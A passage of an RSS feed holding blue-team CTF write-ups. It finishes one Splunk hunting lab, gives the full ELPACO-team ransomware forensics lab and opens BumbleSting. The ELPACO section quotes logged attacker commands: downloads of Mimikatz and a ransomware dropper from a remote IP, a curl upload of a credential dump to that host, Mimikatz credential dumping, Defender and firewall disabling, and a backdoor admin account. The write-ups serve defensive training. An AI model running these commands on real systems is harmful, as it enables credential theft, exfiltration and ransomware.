src="https://cdn-images-1.medium.com/max/888/1*jQi49MQqM2EnR0n_P9e_sQ.png" /></figure><blockquote>12: [Privilege Escalation &amp; Lateral Movement] Privilege escalation was achieved by hijacking a process running with administrative rights. Which legitimate Windows process was abused?</blockquote><p>To find this, let’s investigate the combination of ParentImage and Image to determine what processes are being spawned by whom. Since we know it’s on the Domain Controller, we use the following query:</p><pre>index=main EventCode=1 source=&quot;xmlwineventlog:microsoft-windows-sysmon/operational&quot; host=&quot;dc01&quot; <br>| table _time ParentImage Image</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gGWzkpkMRO7zZq8ZlxScKA.png" /></figure><p>Looking at the values, there should be a very clear outlier here: There is one process which is responsible for <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32">loading and running DLL libraries</a> that is instead running CMD and Powershell. That’s definitely not legitimate, and thus the correct answer here</p><blockquote>13: [Privilege Escalation &amp; Lateral Movement] A Python script meant to establish C2 failed to execute due to syntax errors. What was the name of this script?</blockquote><p>To find this, let’s investigate all process execution events that contain .py. We use a very similar but slightly amended query for this:</p><pre>index=main EventCode=1 source=&quot;xmlwineventlog:microsoft-windows-sysmon/operational&quot; host=&quot;dc01&quot; *.py* <br>| table _time CommandLine</pre><p>There’s some interesting input here:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ivPRlSWs07qjIyrgrh-ZBQ.png" /></figure><p>The filename you find is the correct answer here.</p><blockquote>14: [Privilege Escalation &amp; Lateral Movement] A Python-based framework was used by the attacker to communicate with their remote server. However, due to a mistake, the attacker leaked part of their framework’s source code. What is the name of the C2 Framework used?</blockquote><p>The mistake here is quite obvious: The entire encoded script was pasted in the Commandline, and thus logged. We can use that to our advantage to obtain the contents of the script.</p><p>Since the script is both encoded <strong>and</strong> compressed, it makes default analysis a bit more complicated. Luckily, we have AI in our current day and age, so let’s ask AI what they think of this script:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*QBf-77lpn9vU1ul-qDW9cQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*wzr2MoKwaKLB_wKQ1iWyxA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*xhguvMwFzC3rwgULjSdc_w.png" /></figure><p>Isn’t that interesting? At least we know the answer to this question: The first screenshot mentions the type of framework being used (starting with a capital P)</p><blockquote>15: [Privilege Escalation &amp; Lateral Movement] Further investigation revealed the attacker’s C2 server details within the leaked script. What is the IP address and port of the attacker’s C2?</blockquote><p>This is also listed in the breakdown: Take a look at the final screenshot containing the IP-address and port, along with the credentials used.</p><blockquote>16: [Privilege Escalation &amp; Lateral Movement] After failing to execute the More_egg payload, the attacker attempted privilege escalation again and used Cobalt Strike. During this attempt, a ZIP archive was dropped onto the system. What was the filename of this ZIP archive?</blockquote><p>To find this, let’s investigate all file creation activities on the Domain Controller containing zip files:</p><pre>index=main EventCode=11 source=&quot;xmlwineventlog:microsoft-windows-sysmon/operational&quot; host=&quot;dc01&quot; *.zip <br>| table _time TargetFilename</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DTSZbzCORi41WH66X64fuw.png" /></figure><p>There’s a clear outlier, besides the earlier found “Resume”. I don’t have reason to suspect the earlier python zip and the chocolatey related files, but that zip file in the temp directory… I don’t know man.</p><blockquote>17: [Privilege Escalation &amp; Lateral Movement] The attacker triggered the Veeam exploit using a specific command. What full command was executed to launch the exploit?</blockquote><p>This is a bit of a mean question, because I believe there is actually two correct answers here.</p><p>To find this, let’s look into all Process Creation events via CMD or Powershell (since it mentions a command being used) containing the string “Veeam”:</p><pre>index=main EventCode=1 source=&quot;xmlwineventlog:microsoft-windows-sysmon/operational&quot; host=&quot;dc01&quot; Image=&quot;C:\\Windows\\System32\\cmd.exe&quot; OR Image=&quot;C:\\Windows\System32\\WindowsPowerShell\\v1.0\\powershell.exe&quot; *Veeam*<br>| table _time Image CommandLine</pre><p>This results in the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2YrqJYL1VbxFp4lYi1WfBg.png" /></figure><p>The CommandLine contains VeeamH4X.exe trying to establish a connection to 2 different IP-addresses, and only the .114 address is the correct one. I believe the .63 address should be equally correct here.</p><blockquote>18: [Post Exploitation &amp; Impact] The Veeam exploit leveraged a known vulnerability. What is the CVE identifier associated with this vulnerability?</blockquote><p>We know a few IoCs now:</p><ul><li>The usage of “VeeamH4x.exe”</li><li>The net.tcp command and a connection to establish</li></ul><p>Let’s input these into Google and see if we can find a CVE:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*h7Kkr-ZhCbxEy96MZfTZjg.png" /></figure><p>That’s an old CVE. <strong>THIS SHOULD HAVE BEEN PATCHED, grumble grumble.</strong></p><blockquote>19: [Post Exploitation &amp; Impact] The attacker attempted RDP access with stolen credentials but failed. What username was used in the unsuccessful login attempt?</blockquote><p>To begin, we need to look into the failed logins first and see what usernames are associated here. I excluded the Domain Controller since RDP access was attempted, and I assume this was done FROM the domain controller:</p><pre>index=main EventCode=4625 host!=&quot;dc01&quot; source=&quot;XmlWinEventLog:Security&quot; | sort _time + <br>| table _time host TargetUserName</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LJhj5S72MU-wR6sCNAZeLg.png" /></figure><p>I will be perfectly honest: I got this because of the answer format. This sign-in does not stand out for me specifically, so if anyone has an explanation of why this one in particular, please let me know!</p><blockquote>20: [Post Exploitation &amp; Impact] After gaining administrative access, the attacker created a hidden backdoor account. What username was added to the Administrators group?</blockquote><p>Last one. We know the attacker was targeting the VEEMSERVER in the previous question, so my assumption here is that the attacker succeeded in this. Let’s check all created accounts on VEEMSERVER. We have to use Event ID <strong>4720</strong> for this:</p><pre>index=main EventCode=4720 host=&quot;VEEMSERVER&quot; source=&quot;XmlWinEventLog:Security&quot; | sort _time + <br>| table _time host TargetUserName</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f7lAwezvYIkCgswS0c3sLg.png" /></figure><p>Turns out, 2 accounts were created. Something tells me the “sql_backup” is meant to be found, and the other isn’t. That other is the final answer for this lab</p><h3>Review and Conclusion</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o4IGFNsjC7-dGGPofsgqww.png" /></figure><p>Shocker: someone didn’t patch their systems. I swear to god that most of these labs boil down to either a horrid lack of Awareness (Beta Gamer is a <strong>great</strong> example of that, as well as this one when initially started) and/or improper patching. Remember folks, it’s worth to invest in these things since the aftermath of an actual attack is usually far worse to deal with.</p><p>I liked this lab, though I felt there were many more traces you could find, as well as some duplicate answers here and there (Q17 being the biggest offender in my opinion). It’s an overall fairly doable lab (besides Q7, that one is absurdly tough, had it not been for the CCD-discord’s help)</p><p>I hope this write-up was helpful to you. If it was, I hope you’re willing to give it a thumbs up. If you’re doing this lab and find a better method of solving than I did, please do not hesitate and reach out to me on Discord (@itsgir). I will include your work in the write-up with credit.</p><p>Until the next one. Stay safe!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0e9e0df176f3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CTF Write-up: ELPACO-team (Certified Cyber Defenders)]]></title>
            <link>https://medium.com/@itsGir/ctf-write-up-elpaco-team-certified-cyber-defenders-461db31adb3b?source=rss-26be3714c254------2</link>
            <guid isPermaLink="false">https://medium.com/p/461db31adb3b</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[cyberdefender]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[itsGir]]></dc:creator>
            <pubDate>Mon, 21 Apr 2025 13:25:52 GMT</pubDate>
            <atom:updated>2025-04-21T13:25:52.564Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://cyberdefenders.org/blueteam-ctf-challenges/elpaco-team/">Blue team CTF Challenges | ELPACO-team — CyberDefenders</a></p><p>Welcome to my write-up on ELPACO-team.</p><p>The more labs I do, the more different types of malware I get accustomed to. It’s honestly quite interesting to learn more about these samples, while simultaneously hoping I never run into them personally (or at work, which would be equally horrid, if not worse). This lab is also a fantastic Log search exercise, as I believe the memory related tools are not required for this lab at all. The logs tell a huge story, which I’m about to unfold for you.</p><p>In this write-up, I will cover <a href="https://medium.com/u/4c9727d9f2ad">CyberDefenders</a>’ ELPACO-team Lab:</p><h3>Scenario Introduction</h3><p>This scenario is called <strong>ELPACO-team</strong>. It’s a <strong>Medium </strong>difficulty <strong>Endpoint Forensics </strong>lab which covers the following Tactics:<em> “Execution, Persistence, Credential Access, Command and Control and Impact”</em>. In addition, the tools <em>“Event Log Explorer, Eric Zimmerman Tools, NTFS Log Tracker, Registry Explorer, Timeline Explorer and Volatility3”</em> are listed.</p><p>You can find the lab here: <a href="https://cyberdefenders.org/blueteam-ctf-challenges/elpaco-team/">Blue team CTF Challenges | ELPACO-team — CyberDefenders</a></p><blockquote><strong>Note: </strong>If you want to do this CTF, you must be registered at CyberDefenders and have a “Pro Subscriber” license active.</blockquote><p>The following information is given to us:<br><em>On December 13, 2024, the Security Operations Center (SOC) detected unusual activity from a financial workstation. Unauthorized access and suspicious modifications to security settings were observed, suggesting malicious intent.</em></p><p><em>Investigate the incident to uncover how the compromise occurred, methods used to maintain access, and the scope of sensitive data affected.</em></p><p>The artifacts folder contains a Memory Dump file called ELPACO.dmp (which, again, I do not believe you need at all), and a Disk Triage folder with a Triage image of the infected system. This image contains your default files and folders as you’d expect from a triage image:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*EzPG-6oVfuOx7pyxvpYSjw.png" /></figure><p>The | BEFORE_YOU_START” file lists the recommended tools, which are quite a lot of them. Honestly, again, I was able to find pretty much every single answer in the log files, so I will limit my toolset and show you that, with proper knowledge of Log Analysis, you can find a lot of answers already. That said, let’s begin.</p><h3>The Questions</h3><blockquote>1: [Initial Access] How many failed login attempts did the attacker make during their brute-force attack on the MSSQL server?</blockquote><p>To begin, we need to gather all logs for thorough analysis. For that, we will use a combination of two tools: <strong>EvtxECmd</strong> and <strong>Timeline Explorer</strong>. We also need to know where the Event Logs are stored, which we do, since it’s in the Disk Triage folder under \C\Windows\system32\winevt\logs:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*vzmKsKTgRlT-pv_E_pz2VQ.png" /></figure><p>To create the Event Log overview, go to your Tools\Log Analysis folder, open a terminal in here (Shift + Right click -&gt; “Open command window here”, then run the following command in your terminal:</p><pre>EvtxECmd.exe.lnk -d &quot;C:\Users\Administrator\Desktop\Start Here\Artifacts\Disk Triage\C\Windows\system32\winevt\logs&quot; --csv &quot;C:\Users\Administrator\Desktop\Start Here\Artifacts&quot;</pre><p>Explanation:</p><ul><li><strong>EvtxECmd.exe.lnk</strong> is Eric Zimmerman’s Event Log parser, which we will use to create the Event Log file we want to use for analysis</li><li><strong>-d</strong> dictates the directory the event logs are stored in, which is <strong>C:\Users\Administrator\Desktop\Start Here\Artifacts\Disk Triage\C\Windows\system32\winevt\logs . </strong>By doing this, you get ALL the event logs in a singular file, which makes analysis a lot faster.</li><li><strong>— csv </strong>ensures the output is stored in a CSV file. I chose to store the CSV file in “C:\Users\Administrator\Desktop\Start Here\Artifacts”, but you can pick any folder of choice.</li></ul><p>When you run the command, it should show you a lot of lines of information regarding the parsing of the Event Logs, which should end something like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*K_NpBC2ChPeZjehO_5t4Gg.png" /><figcaption>You can close this window when it’s done.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*M1Nutt-An74zRAmZ7NlfQA.png" /><figcaption>The output.</figcaption></figure><p>Then, go to Tools/Log Analysis and open TimelineExplorer.exe. Once opened, drag the CSV file into it to open the file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ne0opyy5OAgJgY0JIBvjsg.png" /></figure><p>Now that we have all the event logs, we can begin our analysis.</p><p>The question gives away that there was a brute-force attack on the MSSQL server, so let’s analyze Event ID <strong>18456</strong>, which is a Login failed on a MSSQL-server. Do this by filtering on Event ID 18456:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BXhhpuDiggFecBamVHLUaQ.png" /></figure><p>There’s a total of 57 failed logins, but this is not the correct answer to the question. The clue for this lies in Payload Data 3, which contains the Client information:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/507/1*ARJFbjV4ZBJzjfyK8p6X_Q.png" /></figure><p>Since it’s a brute force attack, it most likely is an external IP-address, and not the local machine. Looking through the records, the only external IP is 10.10.10.55, so let’s filter on that as well:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uuXOnzCvSpYqOaVsYmvIHQ.png" /></figure><p>Count the amount of records (or check the bottom right of Timeline Explorer for the <strong>Visible lines</strong> record) and submit that to clear Question 1.</p><blockquote>2: [Initial Access] When did the attacker first successfully log in to the MSSQL server during the brute-force attack?</blockquote><p>We now switch our analysis to Event ID <strong>18454</strong>, which is a succesful login:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5tOAfkse6qcp5SsCMIX7Pg.png" /></figure><p>If you still have the Client IP filter active, you won’t find any records. Why? Because the Client IP is no longer in Payload Data 3, but in Payload:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aURf20kcmdwS5-dVCBdaeQ.png" /><figcaption>You can definitely spot some records here</figcaption></figure><p>To answer the question, filter the Client IP in Payload instead, then look at the first “Time Created” record in the table:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MQmTtJgYHrT1KTLybhsrhA.png" /></figure><p>This is the correct answer to the question.</p><blockquote>3: [Execution] Identifying the name and PID of the malicious process is crucial for understanding the nature of the attack. What is the main binary and process ID of the Windows executable that serves as a dropper for ransomware?</blockquote><p>We now shift our analysis to Sysmon Event ID <strong>1</strong>, which is Process Creation. To do this, filter on Event ID 1 and Provider Sysmon:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xLpH7ApIuK05-9WCY8ri8w.png" /></figure><p>We can begin our analysis after the timestamp the initial access was recorded on. For this, I sorted on Time Created descending (so most recent records first) and scrolled until the record that resembles the timestamp we found in Question 2 (which is at line 13526, record number 1009). Then, let’s begin to analyze the processes that are being created by investigating the Parent Process (Payload Data 4) and the Executable (Executable Info). From the bat, I can see some strange things happening. I will list the most important findings I found:</p><ul><li><strong>Line 13679, Record 1162:</strong> “C:\Windows\system32\cmd.exe” /c powershell.exe -Command “Set-MpPreference -ExclusionPath ‘C:\’” — This makes an exception for the entire C: drive in Microsoft Defender — most definitely a Defense Evasion method.</li><li><strong>Line 13684, Record 1167: </strong>“C:\Windows\system32\cmd.exe” /c netsh advfirewall set allprofiles state off - This disables the Firewall on the system, another Defense Evasion method.</li><li><strong>Line 13691, Record 1174:</strong> “C:\Windows\system32\cmd.exe” /c powershell Invoke-WebRequest -Uri <a href="http://192.168.1.52:4561/ad.exe">http://192.168.1.52:4561/ad.exe</a> -OutFile C:\Users\Administrator\AppData\Local\Temp\ad.exe — This downloads a file called “ad.exe” from a remote URL, and stores it in the Temp folder. Two lines up in your view, at Line 13697, Record 1180, another file called “ad.ps1” was downloaded from the same source.</li><li><strong>Line 13711 &amp; 13714, Records 1194 &amp; 1197</strong>: The file ad.ps1 is ran. Later, the file ad.exe is executed and installs itself to C:\Program Files (x86) silently. Looking at the records above, you can see AnyDesk being present on the system (most likely what “ad” stands for).</li><li><strong>Line 13736, Record 1219</strong>: The user “Reng0ku” with the password “H@cker123” was added to the system — a Persistence method. Later, it was added to the local group “administrators” and “administradores” (suggesting the system is Spanish?)</li><li><strong>Line 14814, Record 1667</strong>: “C:\Windows\system32\cmd.exe” /c powershell -Command “Invoke-WebRequest -Uri <a href="http://192.168.1.52:4561/mim.bat">http://192.168.1.52:4561/mim.bat</a> -OutFile \”C:\Program Files (x86)\mim.bat\”” — another file download. I have a gut feeling what “mim” stands for, but we will see more actual evidence of this later.</li><li><strong>Line 14188, Record 1671</strong>: “C:\Windows\system32\cmd.exe” /c powershell Set-MpPreference -DisableRealtimeMonitoring 1 — this disables Defender’s Real Time Monitoring functionality, yet another Defense Evasion method.</li><li><strong>Line 14253</strong>, <strong>Record 1736</strong>: “C:\Windows\system32\cmd.exe” /c powershell -Command “Invoke-WebRequest -Uri <a href="http://192.168.1.52:4561/mimikatz.exe">http://192.168.1.52:4561/mimikatz.exe</a> -OutFile \”C:\Program Files (x86)\mimikatz.exe\”” — Why am I not surprised seeing this here, considering the mim.bat earlier? Yes, our favorite credential dumping tool is found. Definitely not a concern, huh?</li><li><strong>Line 14600, Record 2083: </strong>mimikatz.exe “privilege::debug” “sekurlsa::logonPasswords full” exit — That’s Mimikatz doing it’s work — Credential Dumping in action.</li><li><strong>Line 14886, Record 2369: </strong>“C:\Windows\system32\cmd.exe” /c curl -T C:\Mimikatz_dump.txt <a href="http://192.168.1.52:4561/">http://192.168.1.52:4561</a> — This exfiltrates the file Mimikatz_dump.txt to the earlier found IP-address and port.</li><li><strong>Line 14888, Record 2371</strong>: “C:\Windows\system32\cmd.exe” /c powershell Invoke-WebRequest -Uri “<a href="http://192.168.1.52:4561/oh_my_gotto.exe">http://192.168.1.52:4561/oh_my_gotto.exe</a>&quot; -OutFile “C:\Users\Administrator\AppData\Local\Temp\oh_my_gotto.exe” — another file download. This time, the file “oh_my_gotto.exe” is downloaded and stored in the temp directory.</li><li><strong>Line 14896, Record 2379</strong>: The file “oh_my_gotto.exe” is executed.</li><li><strong>Line 14902, Record 2385</strong>: “C:\Users\Administrator\AppData\Local\Temp\7ZipSfx.000\7za.exe” x -y -p7183204373585782 Everything64.dll — A file called “7za.exe” was ran from the temp directory 7ZipSfx.00, and seems to extract a file called “Everything64.dll” by providing the password “7183204373585782”</li><li><strong>Line 14912, Record 2395</strong>: The file “ELPACO-team.exe” is ran (small cheer for finding the lab’s title in the log files)” After that, you will also see “svhostss.exe”, “gui40.exe” and “Everything.exe” being ran, followed by “7ZSfx000.cmd” and “DC.exe” — surely very legitimate files.</li><li><strong>Line 15047, Record 2530:</strong> “C:\Users\Administrator\AppData\Local\BD3FDDDF-6CAF-3EBC-D9CF-C8DF72D8F78A\xdel.exe” -accepteula -p 1 -c C:\ -&gt; This seems like an attempt to erase traces on the C: drive.</li></ul><p>By combining this analysis with Event ID 11 (File Creation), you will get an even better comprehension of the attack, but we will start with this for now.</p><p>Back to the question, it asks for the main binary and PID of the Windows Executable that serves as a dropper for the ransomware. Looking at the above records, we see a lot of different files being executed, but the oh_my_gotto.exe seems to be the actual ransomware dropper (mimikatz, for example, is for credential dumping and data exfiltration). So, let’s find the PID of “oh_my_gotto.exe”, which is found in <strong>Line 14896, Record 2379:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/351/1*-IX7csq7N0ISXBk8PUz7GA.png" /></figure><p>Submit this as “oh_my_gotto.exe, &lt;PID here&gt;” (without the &lt;&gt; and quotes) to clear the question.</p><blockquote>4: [Execution] After executing the main malicious binary as a dropper, what is the name of the directory where the initial malicious components were dropped?</blockquote><p>Based on the activities that followed directly after the execution of oh_my_gotto.exe, you can probably take a guess here, but let’s actually take Event ID into the equation, right after Line 14896. Filter on Event ID 11 instead of Event ID 1, and look at the first record after execution, which is 14898 to see the following chain of files created:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*suxvqbBHchK-uSaqGNerCg.png" /></figure><p>The subfolder that these files are dropped in acts as the correct answer here.</p><blockquote>5: [Persistence] What are the first 10 characters of the SHA256 hash of the remote desktop software installed by the attacker on the victim’s machine?</blockquote><p>We already located this earlier — it’s Anydesk. So, let’s go back to Event ID 1 (because it contains file hashes!) and filter on the Executable Anydesk:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b0iiuia9HKYH5SuleBNxPg.png" /></figure><p>The first 3 records (at the top) are the actual execution of AnyDesk.exe — the others are net.exe and net1. Scroll to the left to find the SHA256 hash of Anydesk:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*qghxrkyJDe9PPDikbIdt7Q.png" /></figure><p>Make sure to <strong>only submit the first 10 characters</strong> to clear the question, not the entire hash!</p><p>As a side note: I do not believe the installation of Remote Access Tooling is considered Persistence — it’s considered Command and Control by MITRE’s standards.</p><p><em>6: [Persistence] What is the MITRE sub-technique ID associated with the method the attacker used to establish persistence?</em></p><p>We did find a persistence method earlier: The attacker created a local account called Reng0ku. I think you can Google the MITRE ID for creating a local account. If you still have trouble, the description is “Create Account: Local Account”. You can do it :)</p><blockquote>7: [Defense Evasion] Which path did the attacker exclude to evade defenses?</blockquote><p>We found this earlier — scroll up towards the attacker’s path as written out for Question 3.</p><blockquote>8: [Defense Evasion] What is the password for the protected archive that contains the additional malicious payloads?</blockquote><p>We found this too! Follow the same method as above.</p><blockquote>9: [Defense Evasion] What are the first 8 characters of the directory name created by the malware to store and copy the dropped files?</blockquote><p>We technically found this earlier, but we can analyze this a bit further by investigating Event ID 11 once more. This time, it’s worth investigating the ELPACO-team.exe file (by looking at that file as the Image):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*omXIQL1cRnsW5vsfPzVWhQ.png" /></figure><p>Make sure to submit <strong>only the first 8 characters</strong> (which is everything before the first -) to clear this one.</p><blockquote>10: [Defense Evasion] The attacker attempted to disguise the ransomware by renaming it to resemble a legitimate system process. What new name was assigned to the ransomware?</blockquote><p>Take a look at the files being created in Question 9 — one of them should stand out for being a very close resemblance to a legitimate process (which is svchosts.exe, mind you). That one is the correct answer!</p><blockquote>11: [Defense Evasion] To further evade detection, the attacker manipulated the file’s timestamp. What is the stomped UTC creation timestamp of the ransomware file?</blockquote><p>This one we have not yet found. So, let’s investigate that. “The file” as stated in the question will refer to the file you found in the previous question.</p><p>Sysmon will be to our rescue again, because there is an actual Event ID for tampering with the file’s creation date: Event ID <strong>2</strong>. So, let’s investigate Event ID 2:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j7-qy8piPrpO_RNwfRgFXw.png" /></figure><p>Then, let’s investigate the combination of the ELPACO-team.exe file (as the Image) with the file you found in Question 10:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NtzNkuE4QDrOqgx8n-Hpyw.png" /></figure><p>The new CreationTimeUTC is the correct answer here. As a funny note, look into the new CreationTimeUTC of the “session.tmp” file — that’s a VERY interesting one. Sadly, not relevant to the lab.</p><blockquote>12: [Defense Evasion] The ransomware executed a malicious file that is responsible for disabling Windows Defender. What is the name of the malicious file?</blockquote><p>We haven’t yet found the obvious evidence yet — though, based on the answer submission and our earlier analysis, you can probably figure out which one it is. That said, to answer this, you need to know how disabling Defender is found. If you have done other labs where this was a thing, you might remember that several Registry Keys need to be set for this, which are DisableRealTimeMonitoring, DisableAntiSpyware and DisableAntiVirus. And guess what, Sysmon has an Event ID for that too, which is Event ID <strong>13</strong>. So, let’s filter on TargetObject “Disable” and Event ID 13:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i3kO-i8o6ujmPCN1W3dwgA.png" /></figure><p>You can definitely tell which Image is responsible for this (and shouldn’t be doing this in the first place). This is the correct answer to the question.</p><blockquote>13: [Command and Control] What are the IP address and port of the C2 server the attacker used to transfer their malicious tools?</blockquote><p>We have found MORE than enough traces of this IP-address and port combination in our earlier analysis — Just read back a bit and you will find it.</p><blockquote>14: [Command and Control] The GUI interface is used to control the operation of the ransomware. What is the name of the process and PID?</blockquote><p>If you look back at our earlier analysis, you might have spotted the file “gui40.exe” being listed. This seems like the one we have to look into, so let’s take Sysmon Event ID 1 for a ride again to locate the PID by looking at gui.40 as the executable. This leaves a singular record:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*idxqOXyJTsEKqX6NrjK7-g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jtoidCQ_jU3LL3ajd1cjdw.png" /></figure><p>Submit the answer in the same fashion as Question 3</p><blockquote>15: [Exfiltration] After dumping the credentials, the attacker transferred the output file to their C2 server. What is the name of the exfiltrated file?</blockquote><p>We found this in our analysis. It’s the Mimikatz file. Locate the filename and submit it to clear the question.</p><blockquote>16: [Impact] After launching the ransomware, it used a legitimate DLL component to select target files for encryption. What is the name of the DLL?</blockquote><p>Out of all the questions we’ve done up to this point, this is the one that seemed most off to me. Based on the extraction of the earlier found DLL, you would guess that it’s “Everything64.dll”. But instead, it’s the <strong>other</strong> “Everythingxx.dll” file that’s found in the logs. If you cannot find it, Cyfirma has an <strong>excellent </strong>article on the ELPACO Ransomware: <a href="https://www.cyfirma.com/research/elpaco-team-ransomware-a-new-variant-of-the-mimic-ransomware-family/">ELPACO-team Ransomware: A New Variant of the MIMIC Ransomware Family — CYFIRMA</a> where you can probably locate it in. I’m not entirely sure why this is the one that’s used, and whoever knows, please share it with me and I’ll be happy to credit you for it!</p><blockquote>17: [Impact] The ransomware employs a comprehensive configuration setup. It uses a randomly generated specified decryption ID. What are the first 10 characters of the decryption ID?</blockquote><p>If you were able to find the answer to the previous question yourself, the article I linked will definitely be helpful here, as it lists the following information:</p><p><em>“The ransom note left by the ransomware operators highlights that the victim’s data has been encrypted due to a significant security vulnerability. </em><strong><em>It provides a unique decryption ID</em></strong><em> and states that the only way to recover the files is by purchasing a decryption tool and key”</em></p><p>So, our job now is to locate the ransom note. Fortunately, the article also lists where to look: C:\Users\[Username]\AppData\Local\Decryption_INFO.txt. Let’s look in our Disk Triage folder for that file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*8Q4H4gNMMJ046urRxaN17w.png" /><figcaption>Well, the admin user has the note</figcaption></figure><p>Open it in Notepad to reveal the Decryption ID you need:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*9qZbg1M-KD4h3gox7LcdZQ.png" /></figure><p>Make sure you <strong>only submit the first 10 characters</strong> of the ID to clear the question.</p><p><em>18: [Impact] The attacker used a tool to cover their tracks and prevent forensic analysis by overwriting data to prevent recovery. What is the official name of the tool the attacker used ?</em></p><p>We know what tool was used based on our earlier analysis, which was <strong>xdel.exe. </strong>Let’s investigate that process in a bit more detail. Locate the Process Creation record (Event ID 1 in Sysmon) for the “”C:\Users\Administrator\AppData\Local\BD3FDDDF-6CAF-3EBC-D9CF-C8DF72D8F78A\xdel.exe” -accepteula -p 1 -c C:\” line and double click the payload to reveal what the tool officially is called by examining the Product value:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*zLVQp20MTXEkmO-0kROUUw.png" /></figure><p>And there we go!</p><h3>Review and Conclusion</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9ImlFXbaTGeH-XeNeBOw6A.png" /></figure><p>I would write up what the attacker did here, but I think a fairly thorough analysis was already written up by my Question 3 analysis. I’m guessing someone didn’t secure the password to their SQL-server account all too properly, and what ensued was… well… unfortunate for this company.</p><p>This was a great lab to work on, and it’s honestly a great way to see how powerful your logging can be if you know where to look for and have access to the logs you need. Seriously, Sysmon Event ID 1 deserves all the love it (hopefully) gets!</p><p>I hope this write-up was helpful to you. If it was, I hope you’re willing to give it a thumbs up. If you’re doing this lab and find a better method of solving than I did, please do not hesitate and reach out to me on Discord (@itsgir). I will include your work in the write-up with credit.</p><p>Until the next one. Stay safe!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=461db31adb3b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CTF Write-up: BumbleSting (Certified Cyber Defenders)]]></title>
            <link>https://medium.com/@itsGir/ctf-write-up-bumblesting-certified-cyber-defenders-49ddf304b504?source=rss-26be3714c254------2</link>
            <guid isPermaLink="false">https://medium.com/p/49ddf304b504</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cyberdefender]]></category>
            <dc:creator><![CDATA[itsGir]]></dc:creator>
            <pubDate>Mon, 14 Apr 2025 15:01:25 GMT</pubDate>
            <atom:updated>2025-04-14T15:01:25.907Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://cyberdefenders.org/blueteam-ctf-challenges/bumblesting/">Blue team CTF Challenges | BumbleSting — CyberDefenders</a></p><p>Welcome to my write-up on BumbleSting</p><p>This is one of the more complicated Threat Hunting labs on the platform, in my own personal opinion. I feel that while it’s definitely doable and you will be able to find the answers, it sometimes feels like some information is missing from the data that we have (for example: A file is executed, but a process creation event that corresponds with it seems missing.). I will do my best to still provide a quality write-up for you!</p><p>In this write-up, I will cover <a href="https://medium.com/u/4c9727d9f2ad">CyberDefenders</a>’ BumbleSting Lab:</p><h3>Scenario Introduction</h3><p>This scenario is called <strong>BumbleSting</strong>. It’s a <strong>Medium </strong>difficulty <strong>Threat Hunting</strong> lab which covers the following Tactics: “<em>Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Command and Control, Exfiltration and Impact”</em> (that might be all of them, honestly). In addition, the tools “<em>Splunk, ELK and SIEM”</em> are listed (basically, you pick a SIEM of your choice being either Splunk or ELK)</p><p>You can find the lab here: <a href="https://cyberdefenders.org/blueteam-ctf-challenges/bumblesting/">Blue team CTF Challenges | BumbleSting — 